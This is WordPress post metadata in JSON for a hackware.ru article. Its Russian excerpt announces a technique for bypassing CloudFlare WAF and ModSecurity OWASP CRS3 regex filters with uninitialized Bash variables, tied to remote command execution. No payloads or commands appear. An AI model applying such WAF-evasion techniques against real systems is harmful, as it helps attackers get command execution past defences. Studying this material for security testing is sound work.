\u0438\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u0442, \u043a\u0430\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 Bash \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 WAF, \u043b\u0435\u0436\u0430\u0449\u0438\u0445 \u0432 \u043e\u0441\u043d\u043e\u0432\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u043e\u0432 \u0438 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u044f \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u0434\u0435\u043b\u0430\u043d\u043e \u043d\u0430 CloudFlare WAF \u0438 ModSecurity OWASP CRS3. \u041d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f<a href=\"https:\/\/hackware.ru\/?p=7769\" class=\"read-more\">Read More<\/a><\/p>\n","protected":false},"author":1,"featured_media":7772,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[46],"tags":[234,324,319,54,111,168,321,118,318],"class_list":["post-7769","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-46","tag-cloudflare","tag-cloudflare-waf","tag-modsecurity","tag-54","tag-111","tag---linux","tag----remote-command-execution-rce","tag-118","tag----web-application-firewall-waf"],"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/hackware.ru\/index.php?rest_route=\/wp\/v2\/posts\/7769"}],"collection":[{"href":"https:\/\/hackware.ru\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hackware.ru\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hackware.ru\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hackware.ru\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=7769"}],"version-history":[{"count":6,"href":"https:\/\/hackware.ru\/index.php?rest_route=\/wp\/v2\/posts\/7769\/revisions"}],"predecessor-version":[{"id":9356,"href":"https:\/\/hackware.ru\/index.php?rest_route=\/wp\/v2\/posts\/7769\/revisions\/9356"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hackware.ru\/index.php?rest_route=\/wp\/v2\/media\/7772"}],"wp:attachment":[{"href":"https:\/\/hackware.ru\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=7769"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hackware.ru\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=7769"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hackware.ru\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=7769"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}